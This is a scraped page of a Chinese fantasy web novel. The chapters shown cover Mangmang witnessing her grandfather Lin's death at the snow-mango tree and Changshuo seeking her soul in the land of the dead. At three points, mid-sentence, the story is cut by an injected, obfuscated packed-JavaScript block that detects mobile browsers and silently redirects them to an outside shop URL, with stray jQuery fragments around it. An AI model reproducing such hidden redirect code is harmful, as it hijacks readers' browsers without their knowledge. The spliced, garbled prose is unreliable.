因为这时候前九颗果实已经吸足养分,足够支撑伊果完整发育。 整个过程不能受一丝一毫打扰,否则果实难以成熟,所需时间更久,失败概率也更大。 雪杧树生长千年积攒的力气就为了长出这十颗果实,倘若失败就会迅速枯萎死亡,最后归于尘土。 这也是为什么凛和常朔都说雪杧树长的位置不好。虽然雪杧树喜寒喜夜,但北丏山断崖这种地方对它来说还是太危险了。 杧杧在凛身体里,能切身感受到他的慌张,以及风吹在脸上刺骨的感觉。 不过一会儿,越来越多乌云聚集在雪杧树上空,甚至隐隐有天雷作响。 “不应该啊,老朽专门算过,今夜应当是个适宜化形的好天气才对。”凛喃喃自语,表示自己的疑惑。 杧杧心中巨石落下,这场暴风雪果然有问题。 风越来越大,雪花纷飞快让人看不见前方。 “事不宜迟,快啊杧杧,坚持住!”凛喊着,开始调动周身灵力。 他扎个马步,将从全身各处调动的灵力集中到掌心,随即双手结印,结结实实打出一击。 这记厚实的灵流被击至半空,从雪杧树头顶开始,往下延伸出一个防御结界,将雪杧树与外界隔开。 有结界保护,雪杧树果实的生长速度快了一些。不多时,第二颗果实开始冒头。 然而,杧杧知道今夜注定不简单。凛注意力集中,没分神听见远处传来雪怪的咆哮声。杧杧被困在他体内,自然也听不到。 她此刻除了感受到凛的紧张,还有自己心里的。不确定雪怪何时会来也不确定凛能坚持多久,烦就烦在她没有自己化形时的记忆。 “轰隆隆——”一道雷鸣骤然响彻云霄,随之而来的是一记分外霸道的天雷。 天雷打在结界上,势必要将它打穿似的。杧杧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059242|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受到心口一阵剧痛,好像那道天雷是朝着她胸口打的一样,喉咙里涌上一股血腥味。 这个味道她简直太熟悉了,不由得泛起一阵恶心。 心口的痛感当然不是自己的,而是凛。 防御结界会将外力作用的一半反噬到布界人身上,天雷来势汹汹,凛只怕自己顶不住。 杧杧清晰地感受到凛身体的变化,被天雷连续劈了几下后,他已有些双腿发软,结印控制结界的双手也开始颤抖。 这会儿时间,雪杧树已经长出第五颗果实。 她的果实由外而内一层一层生长,果实越小层数越少。正是这样违反万物生长规律结出的果实,才能经久不衰,成为天灯灯芯的最佳选择。 眼见第八颗果实也已经长出,到现在除了天雷和暴风雪,没有任何危险出现,甚至雪怪都还没来。 奇怪! 若不是风已经大到可以刺穿耳膜,杧杧真要怀疑现在究竟是真相还是假象了。 就不该想,想什么来什么,杧杧跟随凛的视线,注意到一个黑影正以极快的速度朝他们袭来。 杧杧极力想看清,奈何雪太大,凛的眼睛又不顶用。等到黑影靠近,杧杧才看见他是个穿着黑色斗篷的男子,斗篷帽子遮住半张脸,身型与黑市、冰湖中见到的黑衣人别无二致。 黑衣人明显是冲着雪杧树有备而来,他没有费劲去击打结界,而是直接朝凛发动攻击。 凛猝不及防,只得急忙腾出一只手接下黑衣人招式。由于被分走一半力量,结界闪烁几下,开始变得不稳定。 当下情况很糟糕,杧杧若不是亲身体会到凛的感受,恐怕永远都不会知道,凛曾遭受了多么巨大的痛苦。 整个胸腔好像要炸掉,嘴里不断喷出鲜血,双腿无力快要跪倒在地上,并且凛不敢随意挪动身体,生怕本就岌岌可危的结界出现意外。 黑衣人攻击不停,凛很快落于下风。 “去摘伊果!”只见黑衣人朝凛身后喊道。 随后,杧杧看见另一个身穿黑色斗篷的人从身后飞出,向结界而去。他捏着拳,灵力都汇聚到这一点,对结界猛地落下一击。 杧杧本来以为这个结界肯定撑不住了,谁知另一个黑衣人竟被结界反弹开。同时,她感觉五脏六腑好像在身体里炸开,灼烧感在体内来回游走,整个人都要燃起来。 原来是凛自曝内丹以燃烧自己为代价短暂将力量提升到巅峰状态。 爷爷……爷爷! 杧杧几近崩溃,她想流泪,却流不出。痛苦在心里被堆成小山,如今要她在那里亲手葬送爷爷,还不许她掉眼泪。 凛的视线范围内,刚好能看见另一个黑衣人,只见他从地上爬起,转过头来。 这一转,杧杧倒吸一口凉气。 哭脸鬼面! 这两人到底有何打算?伊果于他们到底有何用处?杧杧百思不得其解之时,黑衣人出招越来越快,哭脸鬼面竟也加入进来。 “你来做甚,还不去取伊果!”黑衣人怒骂道。 “弄死这老头再去取一样的,没所谓。”哭脸鬼面说着大笑起来。他这么喜欢笑,为何要带哭脸面具。 杧杧无力地任自己被凛的身体带动抵抗,并承受着这副灼烧感越加强烈的就快倒下的躯体所带来的折磨。 对她来说尚且如此难熬,凛定是比她更难受。 终于,凛被两人打飞出去,重重地砸在地上,嘴里喷出一大口热血,洒在雪地里,一瞬间凝成冰。 哭脸鬼面刚刚被结界弹飞的气还没消,他走到凛身前,毫不怜惜地将凛的半张脸踩在脚下,用尽力气要把他踩进雪里。 “臭老头真碍事。”哭脸鬼面又怪异地笑起来,笑得整个人都在颤抖。 凛喘着粗气,余光瞥见黑衣人正朝雪杧树走去。 结界没了凛的支撑,维持不了多久,在黑衣人面前形同虚设。 结界内雪杧树的第九颗果实刚刚成型。 黑衣人并不着急,他想要的是伊果,等上一等又何妨。 然而雪杧树开玩笑似的,迟迟没有动静。黑衣人耐心逐渐耗尽,他烦躁道:“我说直接把树劈开吧?” 说着他掌心凝聚力量就要朝雪杧树打去,反正劈树依然能拿到他想要的东西。 凛挣扎着想拦住黑衣人,偏偏他能烧的都已经烧完,没有一点力气了,哭脸鬼面还把他踩得死死的,根本没有挣脱的可能。 “杧杧,爷爷护不住你了……” 16. 傲骨埋 杧杧知道凛没有张嘴说话,他的颌骨都快被踩碎了,哪里还说得出话? 这是他的心声。 就在哭脸鬼面即将打出这一击时,黑衣人抓住他的手,把他按下去。 “别轻举妄动,若碎片有损,你我都功亏一篑。” 哭脸鬼面满不在意地啧啧两声,他低头瞥了眼奄奄一息的凛,一脚把他踹开,滑出去不远一段距离。 杧杧只觉得自己全身骨头都碎了,痛得已经失去知觉。但只喘息片刻,这具苍老的身体又慢慢动起来,挣扎着撑起身体,似乎已经用尽所有力气。 凛的动作缓慢并且幅度不大,那边雪杧树下两位并没有发现。 颤颤巍巍的身体摇晃两下,他解开腰间的酒壶仰头喝尽之后随手扔在地上,杧杧听见他低低笑了两声,下定某种决心似的。 他折断一节小拇指,这节指头下一刻变化成一只小木哨。凛将哨子咬在嘴边,吹出一道奇怪的哨音。 黑衣人和哭脸鬼面回头。 “解决干净点。”黑衣人下令。 “啧,真麻烦。”哭脸鬼面语气中满是不耐烦,这老头命也太硬了。 哨音一声接着一声,没有停止。 “臭老头,吵得我头疼!”哭脸鬼面以一种极快的速度朝凛奔来,他手中化剑,直直朝凛刺过去。 而凛并没有躲闪,他任由利剑刺穿心脏,在倒下前吹出最后一声哨音。 哭脸鬼面拔出剑,还不解气似的,刷刷几剑挥下。杧杧能清晰地感觉到,先是没了双腿,随后视线范围内能看见的,双臂紧接着飞出去,最后天旋地转之间,身首异处。 杧杧只觉呼吸一滞,她眼前景象被血模糊,泛白的天被染成惊心的红色。 原来死亡的感觉是这样,她曾两次濒死,却都在昏迷中做梦,这还是第一次清醒时感知到死亡,虽然死的人不是自己。 窒息感没停留多久,片刻后杧杧复活般重新大口喘气。属于她的感官开始回来,头能转动,但驱体仍然动不了。 天空渐渐褪去血色,乌云聚在一团,风穿行在耳边。原来无能为力是这种感觉。 杧杧不知道自己现在是种什么样的状态在梦境里。她暂时还起不了身,只能慢慢转头朝雪杧树看过去。 伊果已经开始生长。 凛的保护罩早就消失,巨大的风雪中,雪杧树巍然不动,它繁茂的枝叶这一刻发挥作用团团围住正在生长的伊果。 突然,一声咆哮穿透整个山谷,是雪怪。 雪怪怎会在这时候来?或者说,雪怪竟是爷爷死之后才出现的吗? 就在杧杧苦思时,头顶闪过一大片阴影。那只雪怪落在雪杧树前,抬手就要拍下去。 “拦住它!”黑衣人喝道。 现在是最关键的时刻,雪杧树蓄积千年的养分正从盘根错节的树根中爬出,聚集成它的生命之源,其中也包括他一直在寻找的东西。 说罢,黑衣人在地上画了个圈,将自己和雪杧树圈在其中。 哭脸鬼面听令,将灵力聚在手掌中,正面对上雪怪。力量太过庞大,两者都被弹飞。 “喂,是不是你造的风暴太大了,怎么会把雪怪引来?”哭脸鬼面拍拍身上沾到的雪,起身问道。” “不,是那老头的哨音。” “他不是护着这棵树吗?唤来雪怪作甚?” “谁知道,你当心些。”黑衣人嘱咐道,他眼神一刻没离开过,待碎片流到伊果中,就立即取下。 “臭老头,死也不安生!”哭脸鬼面暗骂一句。 雪怪力气大,破坏力强,尤其这还是发狂的雪怪,跟杧杧上次运气好躲过的那只完全不一样。自身形来看,它应当是上次在雪怪山洞摘给她岚盈花的那只。 哭脸鬼面走位灵活,雪怪的攻击能躲就躲,躲不过去的勉强也能扛过去。但很快,他也有些支撑不住。 “喂,到底什么时候能好?” 杧杧愣愣地顺着哭脸鬼面的视线看过去,黑衣人手中拿着鞭子,不断朝雪杧树打去。伊果外围有枝叶保护,黑衣人力道不小,几鞭子抽下去,包裹的枝叶没了大半。 就快了,就快了,只要再来一鞭子,伊果便可尽收囊中。 结局是已知的,对于遗忘的记忆,杧杧现在好像已经不太感兴趣了。她转过头,静静地望着天。 耳边不断传来雪怪咆哮声,激烈打斗声,鞭子抽打声。吵死了。 天空中的乌云在渐渐退散,颜色越来越浅,慢慢能看出原本的苍白。 忽而“铮——”的一声,世界就此安静下来,地上扬起一阵雪尘,纷飞盖住杧杧的脸,即使她眼里落了雪花,人还是一动不动,明明已经活过来,却如死去一般。 雪花终于化开,她看见黑衣人和哭脸鬼面御剑从她上空离去的身影。 紧随其后的,是雪怪大叫着逃离。这一幕与本来的记忆重合。 杧杧转动僵硬的脑袋朝雪杧树那边看过去,伊果受到暴风雪和黑衣人的影响,没有长完整,好在有星愿,吊着一条命完成化形。 断崖边,一个身量颀长、气度斐然的青衫男子正将插在雪地里的剑拔出,两指并拢擦去墨黑剑身沾上的雪痕,随后黑剑化成一道灵光隐于他手腕中。 来人正是常朔。 常朔从袖洞里拿出一件长披风,盖住跪坐在身前的女孩身上。 女孩约莫十七岁模样,长相清丽,淡漠的眉眼透出一股疏离。她几乎白到发光,苍白的脸与漆黑的长发形成鲜明的对比。 常朔刚把披风给她盖上,她就昏倒在常朔怀中。 杧杧目不转睛,见常朔稳稳地把曾经的自己抱起来,眨眼间瞬移消失。 她又闭上眼,好像这样可以让自己获得永恒的宁静。 不知过了多久,耳边的风终于消失了,她就这么躺着,感受不到温度,感受不到时间流逝。 死亡的感觉并没有想象中那么难受,死去的人们会去到哪里?杧杧睁开眼,发现自己躺在水底,可她并没有感到窒息。 或许是因为她已经死了。可死了又为什么会看见,会知道自己在哪儿? 水面好像离自己很近,杧杧抬起手,却怎么也伸不出去。她就这么定定地举着手,双眼变得模糊,意识有些不清楚了,她变得很困顿。 “……杧杧……杧杧……” 在眼睛彻底闭上前,杧杧终于听到声音。这道声音是从水面上传进来的,她努力睁开眼,却没看到任何别的东西。 “……杧杧…杧杧…杧杧…” 呼喊声越来越清晰,越来越急促。 “杧杧!” 就在这时,她被人从水中拉出,一切感官无限放大,杧杧下意识捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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木门后是傍晚的水榭,绕来绕去还是在北丏山。 杧杧脑中猜想会是什么情景,刚想往前走时注意到常朔神情严肃。 他脸上本来没什么表情,但杧杧就是能感觉出来不同。 “怎么了?” “走,没什么好看的。”说着他就要拉着杧杧往回走,但身后哪里还有木门?只剩一片空荡荡的雪原。 “阿朔,你在担心什么?” 常朔没回答,仍是拉着她往前走。 然而走了没几步,又看见水榭隐隐约约在前方,身后变成刚才来时的一片虚无。 常朔不信邪似的,拉着杧杧又转身往回走,但还是一样的结果。之后无论他怎样走,只要是躲开水榭走的,最终都会回到原点,就像一直在原地打转。 真该死,常朔真想一剑劈开梦境。他刚要付诸行动,低头一看手被杧杧按住。 “阿朔,我们进去看看吧?”不知怎的,她心里就是有种预感,这个时间点发生的事应当也是她不知道的。 风没停过,呼呼吹在脸上,杧杧转而牵着常朔,带着他往前走。 17. 意中人 水榭中的一切跟现实中没什么不同,一样的木栅栏,一样的浅潭,潭中雪莲和院中兔子窝也是一样的。 只是有些太过安静。 很快杧杧就知道了。之所以这么安静,是因为她当时不在家。 根据小白身形大小判断,应当是她下山玩儿的那天。没办法,这只兔子长得实在太快,一天一个样,尤其是那次杧杧出门待了好几天,等她回家时,差点都认不出来。 常朔无奈,他好由着杧杧牵着自己朝屋里走去。 没什么好纠结的,杧杧径直往书房去,以往这时候常朔都会在书房。 天色渐暗,北丏山夜晚长,天黑早,看样子现在应当还不到酉时。 常朔有意放慢脚步,杧杧拉着他走得也吃力,从院子到书房短短几步路的距离愣是走了比平常多两倍的时间。 “阿朔……”杧杧第一次发现,常朔也有耍无赖的时候,跟小孩没差别。 书房内,常朔端坐在书案前看书,手边是空掉的茶盏。 杧杧自然很好奇她不在的日子里常朔是怎样生活的,当然她最想知道的,自己在黑市掉下天坑昏迷的时候,常朔做过什么。 当时她敏锐地察觉到常朔的声音很虚弱,却没问出个所以然。这根刺一直扎到今天才有机会拔出,自然不能放过这个机会。 风从没关紧的窗户缝里溜进来,证实这里发生的一切并非假象梦境。 杧杧拉着常朔在书案正对面的榻上坐下,静默等待。 两个常朔在自己面前,怎么看怎么奇怪。他们都有同一张面无表情的脸,还有同一种端坐的姿势。。 杧杧忍不住偷笑。 “笑什么?” “没。“ 外面的天彻底黑了,屋内灯火明亮。书案前的常朔换了卷书,又倒了杯茶喝完后,忽然朝杧杧这面看过来,目光刚好相撞。 杧杧下意识坐直身体,有种偷看被当场抓获的窘迫,即使她知道南师弥开了后门,梦境里的人都看不到他们的存在,还是起了鸡皮疙瘩。 “阿朔,为什么‘你’好像能看见我们一样?” “错觉。” 果然,常朔刚说完,过去的常朔就又低下头,继续看手里的书。 “阿朔,你到底还要看多久啊?” “都说了这里没什么好看的。‘常朔语气颇有些无奈。 又等了不知多久,杧杧昏昏欲睡,一连打了好几个哈欠。 就在这时,常朔突然喷出一口鲜血,撑着书案的手碰倒茶水,洒得一地都是。 杧杧心揪紧,立马坐正目不转睛地盯着。 只见“常朔”眉头紧拧,他抛下书,擦去唇角的血,接着掌中聚集神力,将地上的水凝成一个水球移至与眼睛齐平的位置。 水球中黑乎乎一团,看不清有什么。那团黑雾变换着,竟显出血色。 “常朔”大惊,整张脸几乎可以用崩坏来形容。杧杧从未在常朔脸上见过这种神情,登时吓了一跳。 书案边,“常朔”不断向水球送进神力,想看清里面是何种场景。然而水球像一个无底洞,任再多神力,丝毫没有变化,甚至其中血色愈加浓烈,几乎变成一个血球。 “杧杧!” “什么?”下意识回答后,杧杧反应过来“常朔”喊的是当时的自己。 推算一下,现在刚好是她掉下天坑的时候。 杧杧转过头看向常朔,一脸‘不承认没关系,就知道是你救了我”的表情,还有些自己都未曾察觉到的难过。后者心虚似的别过脸,面上依旧冷静,只是袖袍盖住的地方,手不自觉握住。 那边,“常朔”一连喊了好几声,但没人应声。他手中送到水球中的法力不停,终于,水球褪色许多,依稀能看清其中画面,一个躺在地上浑身鲜血,甚至可以说血肉模糊的少女,正是杧杧。 空中悬浮的水球有些颤抖,“常朔”在它散开洒落前重新稳住。 “常朔”闭了闭眼,两指并拢抵在额间显现出的天秤印记上,然而印记只是闪了两下,并无其他反应。 “阿朔,这是在干嘛?”杧杧问道,她莫名觉得这个动作很熟悉。 “我想用星愿把你带回来。” 这么一说杧杧知道了,常朔曾给过她一枚星愿,因此她必须接受常朔的召唤。 “但是你伤得太重,没有用。” 杧杧恍惚一瞬,“我那时,其实已经死了吧?” 从那么高的地方摔下来,那些符纸能有多大用?没让她摔成肉泥就不错了,她还天真以为是符纸保命。 “嗯。” 这时,眼前画面突然开始消失,渐渐又变成一片虚无,杧杧正看到最关键的时候,若不叫她看完后面内容,只怕自己会一直想着念着,抓耳挠腮。 “阿朔,你后来是怎么做的?” “真想知道?” “想!” “那就自己去看吧。” 他刚说完,下一瞬杧杧感觉自己仿佛意识被抽离般,她再次睁眼时,已不在书房。这里像海底,眼中尽是蔚蓝之色,却能呼吸,并且行走自如,也不似冰湖寒冷刺骨。 正当杧杧疑惑时,常朔的声音在脑海中响起。 “你现在我的记忆里,想看什么看就是。” 随着常朔话音落下,杧杧身上笼罩了一大片阴影,她抬头望去,竟是一大群鱼。这些鱼全身呈半透明状,映射着海洋的蓝。鱼群有灵性似的朝杧杧游来,在她身侧围成一个大圈。 太好了,南师弥的梦境可能会有错漏,但常朔的记忆一定不会。常朔曾告诉过她,因为他活得太久,要记的事太多,便会把记忆集中储存起来,像把东西锁进盒子里,不用便不会拿出来,但也不会丢失。 让旁人进入自己的记忆是很危险的一件事,尤其他要给杧杧看的,几乎可以算是自己为数不多难堪的过往。 私心里常朔很矛盾,他不想让杧杧知道,可又想让她知道。他从不肯定为一个人做了什么事,却不能让对方知道这种观点的正确性,对方有知道的权利。 他只是……害怕。 然而她开口了,那么就此当作一个借口,让她行使自己的“权利”,亲手撕开这层遮羞布。 “多谢阿朔。” 杧杧道谢的话说完,便看见有一条小鱼朝自己游来,跃动几下后停在面前,杧杧还没动作,小鱼已经靠近,轻触她的鼻尖,刹那间,杧杧眼前白光一闪。 白光消失后,她好像再次回到水榭的书房,只是这次,杧杧只看到一个坐在书案前的常朔。 常朔发现星愿不管用之后,心仿佛跌倒谷底。星愿的运行机制十分强硬,尚有一口气在都必须执行。若连它都不管用,那只能说明一件事,杧杧已经死了。 仅仅想一想,常朔都如坠冰窟。他站起身,没有一丝表情,刚朝门口走了两步,又返回来坐下。球里的画面还停留在混身是血的杧杧,常朔揉了揉眉心,心下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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亡者之地的钱币是种统一面额为壹的方孔圆形币,因此钱币越多,能买到的身世越好。 除了这些,还有的魂灵在亡者之地待久了便不再愿意入轮回,选择成为冥差,留在这里生活。 虽然是独立于三界外的空间,但这里多少与三界有些联系,例如不远处的一个小镇却很有大洲的建筑风格。 常朔跟着水环指引,在小镇上穿梭。 小镇并不热闹,这里的魂灵不全都是完整的,有的失去记忆,有的残缺身体,有的没有样貌,还有的神情呆滞,动作单一,看起来像丢了脑子,不再有思考能力。 这些魂灵里没有杧杧。 小镇不算大,常朔没走多久就走到尽头。 那里坐落一间较为“豪华”的木屋,相对镇上的其他来说,已经算大了,住在这里的魂灵应当很富足。 不知怎么,常朔站在木屋跟前,脚挪不开半步。杧杧并不在这里,却有其他东西在吸引他,并且是他熟悉的东西。 这感觉实在太熟悉,他心中有个大胆的猜想。 为印证这个猜想,常朔朝木屋走去了。 推开木栅栏门走进去,一个不大的小院子,只有一棵枯树,已经了无生机。木屋的门虚掩着,出于礼貌,常朔还是敲了敲门。 无人应声。 既然主人不在家,他也不好擅闯,便静静立在门前等。 这时,身后传来谈话声。 “要我说你就不该答应这事,老王赖过多少次账了……”一女子抱怨道。 “来客人了。”男子温声打断她。 看来这间屋子的主人是一对小夫妻,常朔回头望去。然而只是一眼,他刚看见两人的第一眼,呼吸就好像被堵住般,全身都僵住了。 “是你。” 18. 生死律 “是你。”常朔简直难以置信,他喉结滚动一下,“阿笙。” 那女子同样诧异。 她虽然一身村妇打扮,但姣好的面容和古朴的气质让她看上去并不普通。面若桃花眉眼含笑,正是四天神之一的“芙蓉刀”白笙。 她身旁的男子,有着与常朔不相上下的俊美容貌,不同的是,他的长相更温和,甚至更秀丽,气质也没有常朔那般冷峻锐利。 “让玄,你先进屋。”白笙道。 男子点点头:“好好说。” “嗯。” 院子里的枯树下,石桌前坐了常朔和白笙两人。家里没什么好用来招待客人的,毕竟他们在亡者之地不用吃东西,况且也没有能吃的。 “我的确是魂飞魄散了,这一点没骗你。”白笙笑笑,语气轻松像在说今天天气还行,她说着举起手,把手腕给常朔看,“我不过是战神残留的一缕神识。” 常朔当然认得她手上的鱼骨锁,那是用文鳐鱼的鳍骨做成的。 “让玄用他的鳍骨做了这个锁住我最后的神识。” “那他……” “他的肉身没了,但灵魂还在,只是不太完整,丢失了很大一部分记忆。”白笙望向木屋,眼里是她未曾察觉的温柔:“没想到他还记得你。” “是因为他记得有关你的一切吧。”常朔神情恍惚,“过的好吗?” “日子都一样,要看跟谁过了。跟让玄自然好的不得了,倘若跟你们……不好说。”白笙颇有些神气,脸上露出生动的表情。 还能跟他拌嘴,看来没什么好担心的。 “对了,你来这儿干嘛?亡者之地可不是很么好地方。”白笙问道。 “就不怕是我死了。” “哪儿那么容易。像你这么听话好用的神官,天道喜欢还来不及,能允许你死?”白笙嘲讽道。 常朔被她逗笑,无论如何,看到她如今还留存在这世上,也算了却一桩心事。 “我来寻人。”他回答白笙刚才的问题。 “寻谁?” “一个小姑娘。” “哦~心上人。” “不是。” 白笙咂巴咂巴嘴,虽然常朔否认,但她能猜到答案,已经再明显不过了。 “啧,不要脸,人家姑娘都为你死一次了还不承认。” “真不是。” 常朔收起眼中情绪,起身预备告辞,他耽搁的时间已经够久。 “走了。” “不送。”白笙也起身朝屋里走去,“别怪我没提醒你,亡者之地的冥差不是好对付的,我如今这模样也帮不了忙,你武功不济,自己小心点。” “嗯。” 白笙回过头再看,哪里还有常朔身影。 亡者之地的小镇并不集中,东一块西一块。白笙待的那处镇子没有杧杧气息,那只能去别处找。 水环的反应时强时弱,常朔不停走着,经过一座又一座小镇,一群又一群魂灵。路上碰到许多冥差,见了他都客客气气地打招呼。 看来只要他不在这儿惹事,他们也睁一只眼闭一只眼,假装不知道有生魂跑进来。 亡者之地没有时间概念,常朔没有刻意记,他也不知道自己进来多久了,迟迟找不到杧杧,他开始忐忑,走得越久好像希望越渺茫。 又到了处小镇,水环还是没什么反应。常朔拧了拧眉心,他叹了口气刚要往别处走时,突然顿住脚步,水环竟开始剧烈反应,闪烁出强光。 心中忐忑虽然落地,但更无法忽视的紧张又将他吞噬。这个小镇大一些也热闹一些,常朔跟着水环,最后停在一家戏馆大门前。 不太大的一家戏馆,舞台很小,上下场门以及后台一致的逼仄,池座里只能摆十五桌左右。 戏台上正在演一出悲情戏,又是书生与少女的故事。 因没什么观众,所以常朔一眼就看见端坐在第一排正中间的少女。 熟悉的双丫髻、鹅黄圆领衫以及单薄的背影。 一时间,所有的不安与焦急全都消失,真正找到她后,常朔反而平静下来,没有自己预想中那样激动。 他走过去,坐到少女身旁。 不知是看得太入迷还是魂灵的感知能力有限,杧杧并没有注意到身边多了个人。 台上的戏已过大半,接近尾声。常朔没出声,安静地陪她把戏看完。 音乐停止演员谢幕后,杧杧才慢慢回过神并鼓掌,也注意到常朔。 她愣了下,随即扬起灿烂的笑容。 “阿朔,你来找我了。”现在的杧杧很迟钝,说话也慢吞吞。 “嗯。”常朔下意识摸摸她的头。 杧杧眨眨眼,准确抓住常朔将离开的手,自然地握住,“那我们回家吧。” 常朔回握住,他的手比杧杧大多,几乎能将她的手完全包裹住。 “嗯。” 戏台上很快又开始演下一出戏,常朔紧握着杧杧的手走出去,朝他来的方向。 想要离开亡者之地,有两种方法:一是跳进忘川河,开启下一段生命旅途;二是还魂术,由引魂师将亡灵召唤回去。 一当然不能选,至于第二条,常朔自己就能当那个引魂师,只是其中风险相较于让旁人施术更大,并且使用还魂术的前提是魂灵没有被洒过忘川水。 亡灵之地分内圈和外圈两个部分,内圈接纳有轮回资格的魂灵,外圈则停留那些遭到诅咒的恶灵。要进内圈,就得先走过奈何桥,被洒上忘川水。 常朔在内圈找到杧杧,两种回去的方法都用不了了。 因此,还有第三种方法,但成功概率微乎其微——原路返回。 原路返回势必要再次通过奈何桥,来到外圈。且不说奈何桥上站着的两个冥差会拦路,外圈的恶灵也不是吃素的。 尚存理智的还能老实为冥差做工来赎罪,除此之外的恶灵跟疯狗就没什么两样了。 常朔本来想牵着杧杧走,但想了想,还是用缚灵锁把她塞进金球,装进袖洞里。 奈何桥边总是排着长长的队伍。一队是河对岸来内圈的魂灵,另一队是准备跳进忘川河的魂灵。 逆行的常朔因此成了焦点,但他面不改色,丝毫不在意那些目光。 他刚走上奈何桥就被冥差叫住。 “请留步。”高个子冥差挡在常朔身前,对他上下打量一番,道:“你不能带走亡灵之地的魂灵。” 常朔不做理会想绕过他继续往前走。 “请留步。” 本来已经绕过去的常朔见那高个子冥差又出现在眼前。 “你不能带走亡灵之地的魂灵。”他重复刚才的话,语气都没什么变化,听不出任何情绪。 “《生死律》卷二第十二条律曰,亡灵之地冥差毋得强拘阳寿未尽之横死者魂。另有卷三第五十六条律曰,天神不干涉秩序者可自由来往两界。”常朔缓缓道来,“请问,本君违反了哪一条?” 《生死律》是专门针对亡灵之地编撰的律法。 高个子冥差听了并无惧色,他朝常朔袖洞指了指,“你只能带走其中那只阳寿未尽之魂。” “其中?” 难不成还有其他魂灵跟着他来了? 常朔将金球拿出来,确定袖洞里没其他东西。他将杧杧放出来后,便发现端倪,她头上多了只发簪。 什么时候跑上去的,他竟没察觉到。 常朔将发簪拔下来递给冥差,再次把杧杧锁进金球里,就要继续往前走时,那发簪突然变化现形,原来是个女人的怨魂。 那女人打扮得漂亮,浓妆艳抹,穿着夸张的戏服,身段曼妙玲珑,教人一眼难忘。 “不要!这位公子,求你带我走吧!求你带我离开吧!”女子急忙拉住常朔衣服,话语染上哭腔。 常朔本不想管闲事,但无奈袖洞里的金球动了下,他只好转身问道:“你既在内圈,为何不转世投胎?” “我也想,我也想啊!”女子哭得声嘶力竭,“明明说好我解除诅咒就能转世的,可这些冥差,他们……” 他们说话不算数,不放我走。 女子还未说完就被冥差捂住嘴,但根据前因后果也能大致猜到她未尽之语。 “冥界事不劳大人费心,你带着她快走吧。”冥差召来另一批人,要将女子押走。 常朔确实没立场也没能力带她离开,他必须保证杧杧魂灵的安全。 “他操不了这心,我行不行?” 话音刚落,众魂灵只觉一股强大的气流扑面而来,未见其人却闻其声,引得大家纷纷逃窜,另一个矮个子冥差赶紧去抓他们回来,这些魂灵得让他先登记完了才能放进内圈。 “是谁!”高个子冥差稳住身形,语气愠怒。 “蠢笨如牛、阴险狡诈、自私自利!”那道声音再次响起,“嘿,呆瓜,骂得就是你。” 高个子冥差彻底怒了,这声音每开口一次,他就莫名遭到一记重击,一道更比一道重,偏偏他看不见对方是谁,想还手都没办法。 “出来!” “略略略,不出来你能拿我怎么办?” 高个子听声辨位,挥动手中召出的极电鞭打去,然而无一次打中。 “呆瓜,呆瓜!” 常朔揉揉眉心,这种风格用头发丝想都知道是谁,这么多年一直没变。 这声音嬉皮笑脸,听得人火气大。高个子再也忍受不了,他丢开女子,打起十二分精神战斗。 女子解脱桎梏后着急忙慌地朝常朔跑去,躲在他身后,常朔打开金球将她一起锁进去。 冥差也不是好惹的,在不知第几次挥鞭后,他终于击中一次。 被极电鞭打中的滋味想也知道不好受,那人被打落倒地,终于现出身形。 果然不出常朔所料,此人身着盔甲,高束马尾,俨然一副将军打扮,可惜手里的武器只是一根粗木棍。 不是白笙又是谁? “将军,在下念你除魔有功,才特许你以神识状态待在亡灵之地,如今你为一个女人跟我作对,不合适吧!”高个子说着要再次挥鞭打向白笙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059245|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 白笙趴在地上,见鞭子来了麻溜滚到旁边躲过去。 “我可不是为女人。”白笙从地上爬起来,把身上的灰尘拍干净,“我是为常朔,至于他为谁,我管不着。” 常朔一瞬间恍惚了。 “不过一缕残识,还敢来叫嚣!”高个子丝毫不不惧,在亡者之地,冥差就是老大,岂有怕的道理。 说罢,他再次挥动极电鞭,朝白笙打去。 这一鞭高个子用了十成十的劲,若真打到白笙身上,还不知鱼骨锁能不能扛得住。 然而白笙是什么人,她手中棍好似长枪,躲闪的同时将棍子扔出去,跟极电鞭正对碰上,两股力量相撞爆出巨大冲击,掀起的风尘迷住视线。 “快走!”白笙在强烈的冲击中稳住身形,朝常朔大喊道,“我不会有事的,他打不过我。” 常朔知道白笙是对的,但他挪不动脚步。 战斗非他擅长,虽然他也有一把佩剑用于应对危急时刻,但此时他只是亡灵,根本召不出剑来。 云中天神仙各司其职,能力大不相同且互不干涉。常朔是云中天第一文神,可那又怎样,他不止一次痛恨自己不是武神,不够强大到可以保护身边人。 不管是一千多年前的白笙,还是如今的杧杧。甚至没用到要靠妹妹一缕残识来保护他。 “哥!” 